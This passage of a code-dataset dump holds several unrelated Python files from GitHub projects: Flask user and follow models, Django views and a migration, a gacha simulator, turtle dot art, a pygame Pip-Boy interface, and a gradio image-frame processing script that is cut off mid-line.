cls.query.filter_by(**params).first()\n\n @classmethod\n def query_items(cls, **params):\n if not params:\n params = {}\n params['is_del'] = 0\n return cls.query.filter_by(**params).order_by(desc(cls.create_ts)).all()\n\n @classmethod\n def get_detail(cls, id):\n sql = 'select * from view_user where user_id = %s;'\n res = query(sql, [id])\n if res:\n item = res[0]\n return utils.format_model_item(item)\n return None\n\n @classmethod\n def get_normal_users(cls):\n sql = \"SELECT * FROM view_user WHERE status = 52;\"\n res = query(sql, [])\n map(utils.map_model_item, res)\n return res\n\n @classmethod\n def create_user(cls, **params):\n if params:\n params['id'] = snowflake.generate()\n user = User(**params)\n db.session.add(user)\n db.session.commit()\n return user\n\n @classmethod\n def create_anonymous_user(cls):\n '''创建匿名用户'''\n name = '匿名{}'.format(utils.get_random_num(5))\n return User.create_user(\n name=name,\n status=BaseConfig.TYPE_USER_ANONYMOUS\n )\n\n @classmethod\n def update_user_by_id(cls, id, **params):\n '''根据用户id修改信息'''\n u = User.query.get(id)\n u.name = get_param(params, 'name', u.name)\n u.mobile = get_param(params, 'mobile', u.mobile)\n u.portrait = get_param(params, 'portrait', u.portrait)\n u.gender = get_param(params, 'gender', u.gender)\n u.age = get_param(params, 'age', u.age)\n u.status = get_param(params, 'status', u.status)\n u.is_del = get_param(params, 'is_del', u.is_del)\n\n ext = u.ext\n location = get_param(params, 'location', ext['location'])\n sign = get_param(params, 'sign', ext['sign'])\n lat = get_param(params, 'lat', ext['lat'])\n lng = get_param(params, 'lng', ext['lng'])\n\n json_ext = {\n \"location\": location,\n \"sign\": sign,\n \"lat\": lat,\n \"lng\": lng,\n }\n u.ext = json_ext\n u.banner = params.get('banner', u.banner)\n u.last_upload = params.get('last_upload', u.last_upload)\n db.session.commit()\n return u\n\n @classmethod\n def get_similar_users(cls, user_id):\n sql = \"\"\"\n SELECT id AS user_id,name,portrait,gender FROM user WHERE id IN (\n SELECT distinct user_id from action WHERE res_id IN (\n SELECT res_id FROM action WHERE type = 27 AND user_id = %s\n ) AND user_id>''\n );\n \"\"\"\n\n return query(sql, [user_id])\n\n\nclass UserOpen(BaseBean, db.Model):\n __tablename__ = 'user_open'\n id = db.Column(db.String, primary_key=True, unique=True)\n user_id = db.Column(db.String, db.ForeignKey('user.id'), default=\"\")\n name = db.Column(db.String)\n portrait = db.Column(db.String)\n location = db.Column(db.String)\n source = db.Column(db.String)\n gender = db.Column(db.Float)\n create_ts = db.Column(db.TIMESTAMP)\n update_ts = db.Column(db.TIMESTAMP)\n\n @classmethod\n def query_items(cls, **params):\n return UserOpen.query.filter_by(**params).all()\n\n @classmethod\n def query_open_user(cls, **params):\n return UserOpen.query.filter_by(**params).first()\n\n @classmethod\n def update_open_user_by_id(cls, id, **params):\n uo = cls.query.get(id)\n uo.user_id = params.get('user_id', uo.user_id)\n\n db.session.commit()\n return uo\n\n @classmethod\n def create_open_user_and_user(cls, **params):\n if 'open_id' in params:\n params['id'] = params['open_id']\n del params['open_id']\n open_user = UserOpen(**params)\n user = User.create_user(\n name=params.get('name'),\n portrait=params.get('portrait')\n )\n open_user.user_id = user.id\n\n db.session.add(open_user)\n db.session.commit()\n return open_user\n\n @classmethod\n def create_open_user(cls, **params):\n if 'open_id' in params:\n params['id'] = params['open_id']\n del params['open_id']\n open_user = UserOpen(**params)\n\n db.session.add(open_user)\n db.session.commit()\n return open_user\n\n\nclass UserAttention(BaseBean, db.Model):\n __tablename__ = 'user_attention'\n id = db.Column(db.BIGINT, primary_key=True, unique=True)\n user_id = db.Column(db.String)\n to_user_id = db.Column(db.BIGINT)\n is_del = db.Column(db.Integer, default=0)\n create_ts = db.Column(db.TIMESTAMP)\n update_ts = db.Column(db.TIMESTAMP)\n\n @classmethod\n def query_user_attention(cls, **params):\n if params:\n params['is_del'] = 0\n return UserAttention.query.filter_by(**params).first()\n\n @classmethod\n def query_user_attentions(cls, **params):\n if params:\n params['is_del'] = 0\n return UserAttention.query.filter_by(**params).all()\n\n @classmethod\n def query_user_attention_paginate(cls, page, per_page, **params):\n if params:\n params['is_del'] = 0\n\n return UserAttention.query.filter_by(**params).order_by(\n desc(UserAttention.create_ts)).paginate(page, per_page, False)\n\n\n@query_params('user_id')\ndef update_open_user_by_id(open_id, params=None):\n uo = UserOpen.query.get(open_id)\n uo.user_id = get_param(params, 'user_id', uo.user_id)\n\n res = db.session.commit()\n\n print(res)\n return uo\n\n\ndef create_and_binding_open_user(user_id, params):\n '''绑定第三方用户'''\n name = params['name']\n open_id = params['open_id']\n source = params['source']\n portrait = params['portrait']\n gender = params['gender']\n location = params['location']\n ou = UserOpen(\n id=open_id,\n source=source,\n name=name,\n user_id=user_id,\n portrait=portrait,\n gender=gender,\n location=location,\n is_del=BaseConfig.DEFAULT_IS_DEL\n )\n db.session.add(ou)\n db.session.commit()\n return ou\n\n\ndef binding_open_user(open_id, user_id):\n '''绑定第三方用户'''\n uo = UserOpen.query.get(open_id)\n uo.user_id = user_id\n db.session.commit()\n return uo\n\n\ndef unbinding_open_user(open_id, user_id=None):\n '''绑定第三方用户'''\n uo = UserOpen.query.get(open_id)\n\n uo.user_id = 0\n db.session.commit()\n return uo\n\n\ndef create_open_user(params):\n '''常见第三方用户'''\n name = params['name']\n user = create_user(\n name=name,\n status=BaseConfig.TYPE_USER_NORMAL\n )\n\n return create_and_binding_open_user(user.id, params)\n\n\ndef query_open_user_by_id(id):\n '''通过id过去第三方用户'''\n return UserOpen.query.get(id)\n\n\ndef on_attontion(**params):\n '''关注'''\n off_attontion(**params)\n ua = UserAttention(\n user_id=params['user_id'],\n to_user_id=params['to_user_id'],\n is_del=BaseConfig.DEFAULT_IS_DEL\n )\n db.session.add(ua)\n db.session.commit()\n\n\ndef off_attontion(**params):\n '''取消关注'''\n sql = 'update user_attention set is_del = 1 ' \\\n 'WHERE user_id = :user_id and to_user_id = :to_user_id'\n db.engine.execute(text(sql), user_id=params['user_id'],\n to_user_id=params['to_user_id'])\n\n\ndef query_user_attention(user_id, to_user_id):\n \"\"\"获取用户关注状态\"\"\"\n return UserAttention.query.filter_by(\n user_id=user_id,\n to_user_id=to_user_id,\n is_del=0\n ).first()\n\n\ndef query_user_by_id(user_id):\n '''根据id查询用户'''\n return User.query.filter_by(id=user_id, is_del=0).first()\n\n\n@query_params('with_opens')\ndef make_user_by_id(user_id, params=None):\n '''根据user_id生成用户对象'''\n user = query_user_by_id(user_id)\n\n if not user:\n return None\n item = user.to_json()\n\n item['create_ts'] = utils.make_timestamp_for_sql_time(item['create_ts'])\n item['user_id'] = item['id']\n\n del item['update_ts']\n del item['id']\n del item['is_del']\n\n # 查找第三方用户\n with_opens = get_param(params, 'with_opens', True)\n if with_opens:\n opens = []\n for open_user in user.opens:\n opens.append({\n \"open_id\": open_user.id,\n \"source\": open_user.source\n })\n item['opens'] = opens\n\n return item\n\n\ndef query_user_by_mobile(mobile):\n return User.query.filter_by(mobile=mobile, is_del=0).first()\n\n\ndef update_user_by_id(user_id, **params):\n '''根据用户id修改信息'''\n u = User.query.filter_by(id=user_id).first()\n u.name = get_param(params, 'name', u.name)\n u.mobile = get_param(params, 'mobile', u.mobile)\n u.portrait = get_param(params, 'portrait', u.portrait)\n u.gender = get_param(params, 'gender', u.gender)\n u.age = get_param(params, 'age', u.age)\n u.status = get_param(params, 'status', u.status)\n\n ext = u.ext\n print(ext)\n location = get_param(params, 'location', ext['location'])\n sign = get_param(params, 'sign', ext['sign'])\n sign = get_param(params, 'sign', ext['sign'])\n lat = get_param(params, 'lat', ext['lat'])\n lng = get_param(params, 'lng', ext['lng'])\n\n json_ext = {\n \"location\": location,\n \"sign\": sign,\n \"lat\": lat,\n \"lng\": lng,\n }\n u.ext = json_ext\n db.session.commit()\n return u\n\n\n# def create_anonymous_user():\n# '''创建匿名用户'''\n# name = '匿名{}'.format(utils.get_random_num(5))\n# return create_user(name=name)\n\n\ndef create_user(**params):\n '''创建用户'''\n mobile = get_param(params, 'mobile', '')\n name = get_param(params, 'name', '')\n status = get_param(params, 'status', BaseConfig.DEFAULT_USER_STATUS)\n new_id = snowflake.generate()\n\n ext = {\n \"location\": \"\",\n \"sign\": \"\",\n \"lat\": 0,\n \"lng\": 0\n }\n\n u = User(\n id=new_id,\n mobile=mobile,\n name=name,\n portrait=BaseConfig.DEFAULT_PORTRAIT,\n age=BaseConfig.DEFAULT_AGE,\n gender=BaseConfig.DEFAULT_GENDER,\n status=status,\n ext=ext,\n is_del=BaseConfig.DEFAULT_IS_DEL\n )\n db.session.add(u)\n db.session.commit()\n return u\n","repo_name":"hansteve/hopapapa","sub_path":"src/api/user/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":12139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3273632743","text":"from django.shortcuts import render\n\nfrom django.http import HttpResponse\nfrom .models import Student\n\ndef home(request):\n return HttpResponse('

Hallo Welt

')\n\ndef student(request):\n context = {\n 'first_name':'TOST',\n 'my_list': [2020, 2021, 2022],\n 'book_name':'lord of the rings'\n }\n return render(request, 'home/home.html' , context)\n\ndef student_detail(request):\n students = Student.objects.all()\n context = {\n 'students': students\n }\n return render(request,'home/student_detail.html', context)\n\nfrom .forms import StudentForm\nfrom django.shortcuts import redirect\ndef student_add(request):\n form = StudentForm()\n\n if request.method == 'POST':\n form = StudentForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('list')\n context = { \n 'form':form\n }\n return render(request, 'home/student_add.html', context)","repo_name":"tosunmail/django-intro","sub_path":"ninja/home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6456758163","text":"#金枠が2枚以上でないFGOガチャシミュレーター\n\nimport random\n\nkaku = list(range(0,4))\ndice = list(range(0,3))\nsp = ['PU星5鯖','星5鯖','星4鯖','星4礼装']\nn = ['星3鯖','星5礼装','星3礼装(カス)']\n\nw = [0.8, 0.2, 3, 12]\nw2 = [40, 4,40]\n\n#確定枠\ns = random.choices(kaku, k = 1 , weights = w)\n\nfor i in kaku:\n print(sp[i], ':', s.count(i))\n\n#確定以外\ns2 = random.choices(dice, k = 9 , weights = w2)\n\nfor j in dice:\n print(n[j], ':', s2.count(j))\n","repo_name":"ruriiii09/fgo_simulator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3631989164","text":"# Made by Piotr Zięba on 07.11.2023.\r\n# It creates a dot art. \r\n\r\nimport turtle as t\r\nimport random\r\n# import colorgram # imports the module\r\n# rgb_colors = [] # creates a list\r\n# colors = colorgram.extract('image.jpg', 25) # extracts colors from the picture\r\n# for color in colors: # Makes a for loop to select rgb colors from colors\r\n# r = color.rgb.r # Takes red\r\n# g = color.rgb.g # takes green\r\n# b = color.rgb.b # takes blue\r\n# new_color = (r, g, b) # Creates a tuple\r\n# rgb_colors.append(new_color) # adds it to the rgb_colors\r\n\r\n# Code above extracted tuples from the list bellow. These are colors from the picture. I removed those too bright.\r\ncolor_list = [(199, 175, 117), (124, 36, 24), (210, 221, 213), (168, 106, 57), (186, 158, 53), (6, 57, 83),\r\n (109, 67, 85), (113, 161, 175), (22, 122, 174), (64, 153, 138), (39, 36, 36), (76, 40, 48),\r\n (9, 67, 47), (90, 141, 53), (181, 96, 79), (132, 40, 42), (210, 200, 151), (141, 171, 155),\r\n (179, 201, 186), (172, 153, 159), (212, 183, 177), (176, 198, 203)]\r\n\r\n\r\ntim = t.Turtle() # We create a turtle\r\ntim.speed(\"fastest\") # It gets proper speed\r\nscreen = t.Screen() # Gets hold of the screen\r\nscreen.colormode(255) # Allows us to use RGB\r\nscreen.setup(width=500, height=520, startx=400, starty=100) # Sets the h and w of the screen and places it in the c.\r\n\r\n\r\ndef random_color(my_list):\r\n \"\"\"Selects random color from color_list\"\"\"\r\n return random.choice(my_list)\r\n\r\n\r\ntim.up() # Prevents tim from drawing.\r\ntim.setheading(225) # Turns the turtle to the corner.\r\ntim.forward(300) # Goes to the place I want turtle to start drawing.\r\ntim.left(135) # Turns left to draw a straight line.\r\n\r\nfor _ in range(10): # Makes the turtle to go for 10 rows.\r\n for _ in range(10): # Creates 10 dots with random colors from color_list.\r\n tim.dot(30, random_color(color_list)) # Tim makes dots.\r\n tim.forward(45) # Moves 45 ahead.\r\n tim.setheading(90) # Turns\r\n tim.forward(50) # Goes forwards\r\n tim.setheading(180)\r\n tim.forward(450)\r\n tim.setheading(0)\r\n\r\nscreen.exitonclick() # Allows me to exit the screen on click\r\n","repo_name":"pitasiek/Dot-art","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41233987301","text":"import unittest\nfrom model.image import Image\nfrom model.primary_backup import PrimaryBackup\nfrom model.secondary_backup import SecondaryBackup\n\nclass TestPrimaryBackup(unittest.TestCase):\n def setUp(self):\n image = Image(\"test_file.txt\", \"./tests/test_file.txt\")\n\n replica_manager = SecondaryBackup(replica_manager_id=1, image=image)\n\n secondaries = {}\n secondaries[replica_manager.replica_manager_id] = replica_manager\n\n primary_backup = PrimaryBackup(replica_manager_id=0, image=image, secondaries=secondaries)\n\n self.action = primary_backup._check_all_secondary_health()\n\n def test_secondary_checks_out(self):\n self.assertEqual(self.action, {'status': True})\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"tonussi/fake-primary-backup","sub_path":"backend/tests/test_primary_backup.py","file_name":"test_primary_backup.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34199042808","text":"from dataclasses import dataclass, field\nfrom abc import ABC, abstractmethod\n\nfrom pyspark.sql import DataFrame\nfrom great_expectations.checkpoint.types.checkpoint_result import CheckpointResult\n\nfrom .data_asset import DataAssetName\n\n@dataclass\nclass BaseValidator(ABC):\n \"\"\"Interface class of validator\n \"\"\"\n df: DataFrame\n asset_name: DataAssetName\n suite_name: str\n env: str\n\n @abstractmethod\n def run(self) -> None:\n \"\"\"Perform validation\"\"\"\n raise NotImplementedError\n \n @abstractmethod\n def result(self) -> CheckpointResult:\n \"\"\"Checkpoint result\"\"\"\n raise NotImplementedError\n \n @abstractmethod\n def status(self) -> bool:\n \"\"\"Status of validation result\"\"\"\n raise NotImplementedError\n","repo_name":"hueiyuan/pyspark_with_great_expectations","sub_path":"src/pyspark_data_quality/validate_module/base/validator.py","file_name":"validator.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"10306766780","text":"def solution(arr1, arr2):\n if len(arr2)>len(arr1): answer = -1\n elif len(arr2)sum(arr1): answer = -1\n elif sum(arr2) arr1 else 1)\n # 길이(len)가 같지 않을 경우 arr1, arr2에는 각각 List 요소의 합이 선언되어 있음.\n # 길이(len)가 같을 경우 arr1, arr2에는 각각 List의 길이가 선언되어 있음.\n # arr1 == arr1가 성립될 경우 False가 되며 False의 정수값인 0이 되므로 return 값은 0\n \n","repo_name":"Xenrose/Coding_test","sub_path":"프로그래머스/unrated/181856. 배열 비교하기/배열 비교하기.py","file_name":"배열 비교하기.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"47421172992","text":"'''\r\nCreated on Apr 9, 2017\r\n\r\n@author: WiZ\r\n'''\r\n\r\nimport pygame\r\nimport datetime\r\nimport pygame\r\nimport config\r\nimport os\r\nfrom pygame.time import delay\r\nimport threading\r\nfrom asyncio.tasks import sleep\r\n\r\n\r\nclass Interface():\r\n def __init__(self, maintxt, screen2):\r\n self.maintxt = maintxt\r\n self.menuList = [\"Home\", \"Media\", \"Gallery\", \"Map\", \"Settings\"]\r\n self.font = pygame.font.Font('monofonto.ttf', 18)\r\n self.font2 = pygame.font.Font('monofonto.ttf', 15)\r\n global screen\r\n screen = screen2\r\n self.color = config.COLOR_CURRENT\r\n self._image_library = {}\r\n self._date = None\r\n self.date = datetime.datetime.now().strftime(\"%d.%m.%y|%H:%M:%S\")\r\n self.time = \"\"\r\n self.day = \"\"\r\n \r\n def render(self):\r\n new_date = datetime.datetime.now().strftime(\"%d.%m.%y|%H:%M:%S\")\r\n if self.date != new_date:\r\n self.date = new_date\r\n self.time = self.date.split(\"|\")[1]\r\n self.day = self.date.split(\"|\")[0]\r\n if self.color != config.COLOR_CURRENT:\r\n self.color = config.COLOR_CURRENT\r\n self.background()\r\n self.interface()\r\n self.texts()\r\n \"\"\" \r\n def update(self):\r\n new_date = datetime.datetime.now().strftime(\"%d.%m.%y.%H:%M:%S\")\r\n if self.date != new_date:\r\n label = self.font.render(new_date, 1, self.color)\r\n screen.blit(label, (250, 10))\r\n if self.color != config.COLOR_CURRENT:\r\n self.color = config.COLOR_CURRENT\r\n self.background()\r\n self.scanlines.run()\r\n self.interface()\r\n self.texts()\r\n \"\"\"\r\n def texts(self):\r\n weekdays = [\"Monday\", \"Tuesday\", \"Wensday\", \"Thursday\", \"Friday\", \"Saturday\", \"Sunday\"]\r\n #Main text\r\n label = self.font.render(self.maintxt, 1, self.color)\r\n screen.blit(label, (40, 5))\r\n #TIME\r\n date = weekdays[datetime.datetime.today().weekday()] + \" \" + self.day \r\n label = self.font2.render(date, 1, self.color)\r\n screen.blit(label, (330, 18))\r\n label = self.font2.render(self.time, 1, self.color)\r\n screen.blit(label, (250, 18))\r\n x = 40\r\n y = config.HEIGHT - 30\r\n i = 0\r\n i=0\r\n pygame.draw.line(screen, self.color, (20, config.HEIGHT-20), (20, config.HEIGHT-30), 2)\r\n pygame.draw.line(screen, self.color, (20, config.HEIGHT-20), (30, config.HEIGHT-20), 2)\r\n while i < self.menuList.__len__():\r\n label = self.font2.render(self.menuList[i], 1, self.color)\r\n screen.blit(label, (x, y))\r\n pygame.draw.line(screen, self.color, ( x+(len(self.menuList[i])*10), config.HEIGHT-20), (x + (len(self.menuList[i]) * 5) + 40, config.HEIGHT-20), 2)\r\n try:\r\n x = x + (len(self.menuList[i]) * 5) + 50\r\n except IndexError :\r\n print(\"\")\r\n i +=1\r\n pygame.draw.line(screen, self.color, (x-20, config.HEIGHT-20), (config.WIDTH-25, config.HEIGHT-20), 2)\r\n pygame.draw.line(screen, self.color, (config.WIDTH-25, config.HEIGHT-20), (config.WIDTH-25, config.HEIGHT-30), 2)\r\n \r\n def interface(self):\r\n # screen.fill((0, 0, 0))\r\n # LINEE ALTE\r\n # VERTICALE\r\n pygame.draw.line(screen, self.color, (20, 15), (20, 35), 2)\r\n pygame.draw.line(screen, self.color, (200, 15), (200, 35), 2)\r\n pygame.draw.line(screen, self.color, (320, 15), (320, 35), 2)\r\n pygame.draw.line(screen, self.color, (config.WIDTH - 20, 15), (config.WIDTH - 20, 35), 2)\r\n \r\n # ORIZZONATALE\r\n pygame.draw.line(screen, self.color, (20, 15), (30, 15), 2)\r\n pygame.draw.line(screen, self.color, (100, 15), (200, 15), 2)\r\n pygame.draw.line(screen, self.color, (205, 15), (320, 15), 2)\r\n pygame.draw.line(screen, self.color, (325, 15), (config.WIDTH - 20, 15), 2)\r\n \r\n # LINEE BASSE\r\n \"\"\"\r\n pygame.draw.line(screen, self.color, (78, config.HEIGHT-20), (108, config.HEIGHT-20), 2)\r\n pygame.draw.line(screen, self.color, (160, config.HEIGHT-20), (183, config.HEIGHT-20), 2)\r\n pygame.draw.line(screen, self.color, (235, config.HEIGHT-20), (250, config.HEIGHT-20), 2)\r\n \"\"\"\r\n def background(self):\r\n image = pygame.transform.scale(self.get_image('images/border.png'), (config.WIDTH, config.HEIGHT))\r\n screen.blit(image, (10, 10))\r\n image = pygame.transform.scale(self.get_image('images/overlay.png'), (config.WIDTH, config.HEIGHT))\r\n screen.blit(image, (0, 0))\r\n \r\n \r\n def get_image(self, path):\r\n # global _image_library\r\n image = self._image_library.get(path)\r\n if image == None:\r\n canonicalized_path = path.replace('/', os.sep).replace('\\\\', os.sep)\r\n image = pygame.image.load(canonicalized_path)\r\n self._image_library[path] = image\r\n return image\r\n \r\n \r\nclass Selection():\r\n def __init__(self, x, y, name, color):\r\n self.x = x\r\n self.y = y\r\n self.name = name\r\n self.color = config.COLOR_CURRENT\r\n self.selected = False\r\n def render(self):\r\n if self.color != config.COLOR_CURRENT:\r\n self.color = config.COLOR_CURRENT\r\n label = config.genFont.render(str(self.name), 1, self.color)\r\n screen.blit(label, (self.x, self.y))\r\n if self.selected:\r\n pygame.draw.line(screen, self.color, (self.x - 5, self.y - 2), (self.x + 65 + 3, self.y - 2), 2)\r\n pygame.draw.line(screen, self.color, (self.x - 5, self.y - 2), (self.x - 5, self.y + 17 + 2), 2)\r\n pygame.draw.line(screen, self.color, (self.x - 5, self.y + 17 + 2), (self.x + 65 + 3, self.y + 17 + 2), 2)\r\n pygame.draw.line(screen, self.color, (self.x + 65 + 3, self.y - 2), (self.x + 65 + 3, self.y + 2 + 17), 2)\r\n def onSelection(self, screen):\r\n print(self.name)\r\n pygame.quit()\r\n \r\n","repo_name":"wizbenkhalifa/Pip-Boy","sub_path":"Pip-Boy/interface/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":6125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36080843065","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('playy', '0012_auto_20151124_1741'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='match',\n name='team_2',\n field=models.TextField(default=0, verbose_name=b'Team'),\n preserve_default=False,\n ),\n migrations.AlterField(\n model_name='match',\n name='team_1',\n field=models.TextField(verbose_name=b'Team'),\n ),\n ]\n","repo_name":"sharanyagantla/Team-10-Project-","sub_path":"fantacycricket/playy/migrations/0013_auto_20151124_1751.py","file_name":"0013_auto_20151124_1751.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"36525419366","text":"import gradio as gr\r\nimport subprocess\r\nimport os\r\nimport imageio\r\nfrom gradio.outputs import Image\r\nfrom PIL import Image\r\nimport sys\r\nimport cv2\r\nimport shutil\r\nimport time\r\n\r\n\r\n\r\n \r\ndef main(ruta_entrada_1, ruta_entrada_2, ruta_salida, frames_limit, denoise_blur, dfi_strength, frame_refresh_frequency, refresh_strength, smooth, dfi_deghost, ruta_entrada_3, ruta_salida_1, ddf_strength):\r\n # Definir las rutas de las carpetas\r\n maskD = os.path.basename('MaskD')\r\n maskS = os.path.basename('MaskS')\r\n #output = os.path.basename(ruta_salida)\r\n source = os.path.basename('SourceDFI')\r\n #gen = os.path.basename(ruta_entrada_2)\r\n\r\n \r\n os.makedirs(source, exist_ok=True)\r\n os.makedirs(maskS, exist_ok=True)\r\n os.makedirs(ruta_salida, exist_ok=True)\r\n os.makedirs(maskD, exist_ok=True)\r\n #os.makedirs(gen, exist_ok=True)\r\n \r\n # Copy the images from Ruta1 to Source folder in JPEG quality 100\r\n #for file in os.listdir(ruta_entrada_1):\r\n # if file.endswith(\".jpg\") or file.endswith(\".jpeg\") or file.endswith(\".png\"):\r\n # img = Image.open(os.path.join(ruta_entrada_1, file))\r\n # img.save(os.path.join(\"Source\", file), \"jpeg\", quality=100)\r\n def copy_images(ruta_entrada_1, ruta_entrada_2, frames_limit=0):\r\n # Copiar todas las imágenes de la carpeta ruta_entrada_1 a la carpeta Source\r\n count = 0\r\n for file in os.listdir(ruta_entrada_1):\r\n if file.endswith(\".jpg\") or file.endswith(\".jpeg\") or file.endswith(\".png\"):\r\n img = Image.open(os.path.join(ruta_entrada_1, file))\r\n rgb_img = img.convert('RGB')\r\n rgb_img.save(os.path.join(\"SourceDFI\", file), \"jpeg\", quality=100)\r\n count += 1\r\n if frames_limit > 0 and count >= frames_limit:\r\n break\r\n \r\n # Llamar a la función copy_images para copiar las imágenes\r\n copy_images(ruta_entrada_1,ruta_salida, frames_limit)\r\n \r\n #for file in os.listdir(ruta_entrada_2):\r\n # if file.endswith(\".jpg\") or file.endswith(\".jpeg\") or file.endswith(\".png\"):\r\n # img = Image.open(os.path.join(ruta_entrada_2, file))\r\n # img.save(os.path.join(ruta_entrada_2, file))\r\n # \r\n # Carpeta donde se encuentran las imágenes de Gen\r\n def sresize(ruta_entrada_2):\r\n gen_folder = ruta_entrada_2\r\n \r\n # Carpeta donde se encuentran las imágenes de FULL\r\n full_folder = \"SourceDFI\"\r\n \r\n # Obtener la primera imagen en la carpeta Gen\r\n gen_images = os.listdir(gen_folder)\r\n gen_image_path = os.path.join(gen_folder, gen_images[0])\r\n gen_image = cv2.imread(gen_image_path)\r\n gen_height, gen_width = gen_image.shape[:2]\r\n gen_aspect_ratio = gen_width / gen_height\r\n \r\n # Recorrer todas las imágenes en la carpeta FULL\r\n for image_name in os.listdir(full_folder):\r\n image_path = os.path.join(full_folder, image_name)\r\n image = cv2.imread(image_path)\r\n height, width = image.shape[:2]\r\n aspect_ratio = width / height\r\n \r\n if aspect_ratio != gen_aspect_ratio:\r\n if aspect_ratio > gen_aspect_ratio:\r\n # La imagen es más ancha que la imagen de Gen\r\n crop_width = int(height * gen_aspect_ratio)\r\n x = int((width - crop_width) / 2)\r\n image = image[:, x:x+crop_width]\r\n else:\r\n # La imagen es más alta que la imagen de Gen\r\n crop_height = int(width / gen_aspect_ratio)\r\n y = int((height - crop_height) / 2)\r\n image = image[y:y+crop_height, :]\r\n \r\n # Redimensionar la imagen de FULL a la resolución de la imagen de Gen\r\n image = cv2.resize(image, (gen_width, gen_height))\r\n \r\n # Guardar la imagen redimensionada en la carpeta FULL\r\n cv2.imwrite(os.path.join(full_folder, image_name), image)\r\n \r\n sresize(ruta_entrada_2)\r\n \r\n def s_g_rename(ruta_entrada_2):\r\n source_dir = \"SourceDFI\" # ruta de la carpeta \"Source\"\r\n \r\n # Obtener una lista de los nombres de archivo en la carpeta \"Source\"\r\n files = os.listdir(source_dir)\r\n \r\n # Renombrar cada archivo\r\n for i, file_name in enumerate(files):\r\n old_path = os.path.join(source_dir, file_name) # ruta actual del archivo\r\n new_file_name = f\"{i+1:03d}\" # nuevo nombre de archivo con formato %03d\r\n new_path = os.path.join(source_dir, new_file_name + os.path.splitext(file_name)[1]) # nueva ruta del archivo\r\n try:\r\n os.rename(old_path, new_path)\r\n except FileExistsError:\r\n print(f\"El archivo {new_file_name} ya existe. Se omite su renombre.\")\r\n \r\n gen_dir = ruta_entrada_2 # ruta de la carpeta \"Source\"\r\n \r\n # Obtener una lista de los nombres de archivo en la carpeta ruta_entrada_2\r\n files = os.listdir(gen_dir)\r\n \r\n # Renombrar cada archivo\r\n for i, file_name in enumerate(files):\r\n old_path = os.path.join(gen_dir, file_name) # ruta actual del archivo\r\n new_file_name = f\"{i+1:03d}\" # nuevo nombre de archivo con formato %03d\r\n new_path = os.path.join(gen_dir, new_file_name + os.path.splitext(file_name)[1]) # nueva ruta del archivo\r\n try:\r\n os.rename(old_path, new_path)\r\n except FileExistsError:\r\n print(f\"El archivo {new_file_name} ya existe. Se omite su renombre.\")\r\n \r\n s_g_rename(ruta_entrada_2)\r\n \r\n # Obtener el primer archivo de la carpeta ruta_entrada_2\r\n gen_files = os.listdir(ruta_entrada_2)\r\n if gen_files:\r\n first_gen_file = gen_files[0]\r\n\r\n # Copiar el archivo a la carpeta \"Output\" y reemplazar si ya existe\r\n #output_file = \"Output\" + first_gen_file\r\n #shutil.copyfile(ruta_entrada_2 + first_gen_file, output_file)\r\n output_file = os.path.join(ruta_salida, first_gen_file)\r\n shutil.copyfile(os.path.join(ruta_entrada_2, first_gen_file), output_file)\r\n #subprocess call\r\n def denoise(denoise_blur):\r\n denoise_kernel = denoise_blur\r\n # Obtener la lista de nombres de archivos en la carpeta source\r\n files = os.listdir(\"SourceDFI\")\r\n \r\n # Crear una carpeta destino si no existe\r\n #if not os.path.exists(\"dest\"):\r\n # os.mkdir(\"dest\")\r\n \r\n # Recorrer cada archivo en la carpeta source\r\n for file in files:\r\n # Leer la imagen con opencv\r\n img = cv2.imread(os.path.join(\"SourceDFI\", file))\r\n \r\n # Aplicar el filtro de blur con un tamaño de kernel 5x5\r\n dst = cv2.blur(img, (denoise_kernel, denoise_kernel))\r\n \r\n # Eliminar el archivo original\r\n #os.remove(os.path.join(\"SourceDFI\", file))\r\n \r\n # Guardar la imagen resultante en la carpeta destino con el mismo nombre\r\n cv2.imwrite(os.path.join(\"SourceDFI\", file), dst)\r\n \r\n denoise(denoise_blur) \r\n \r\n # Definir la carpeta donde están los archivos\r\n carpeta = 'SourceDFI'\r\n \r\n # Crear la carpeta MaskD si no existe\r\n os.makedirs('MaskD', exist_ok=True)\r\n \r\n # Inicializar contador\r\n contador = 1\r\n \r\n umbral_size = dfi_strength\r\n # Iterar a través de los archivos de imagen en la carpeta Source\r\n for filename in sorted(os.listdir(carpeta)):\r\n # Cargar la imagen actual y la siguiente en escala de grises\r\n if contador > 1:\r\n siguiente = cv2.imread(os.path.join(carpeta, filename), cv2.IMREAD_GRAYSCALE)\r\n diff = cv2.absdiff(anterior, siguiente)\r\n \r\n # Aplicar un umbral y guardar la imagen resultante en la carpeta MaskD. Menos es más.\r\n umbral = umbral_size\r\n umbralizado = cv2.threshold(diff, umbral, 255, cv2.THRESH_BINARY_INV)[1] # Invertir los colores\r\n cv2.imwrite(os.path.join('MaskD', 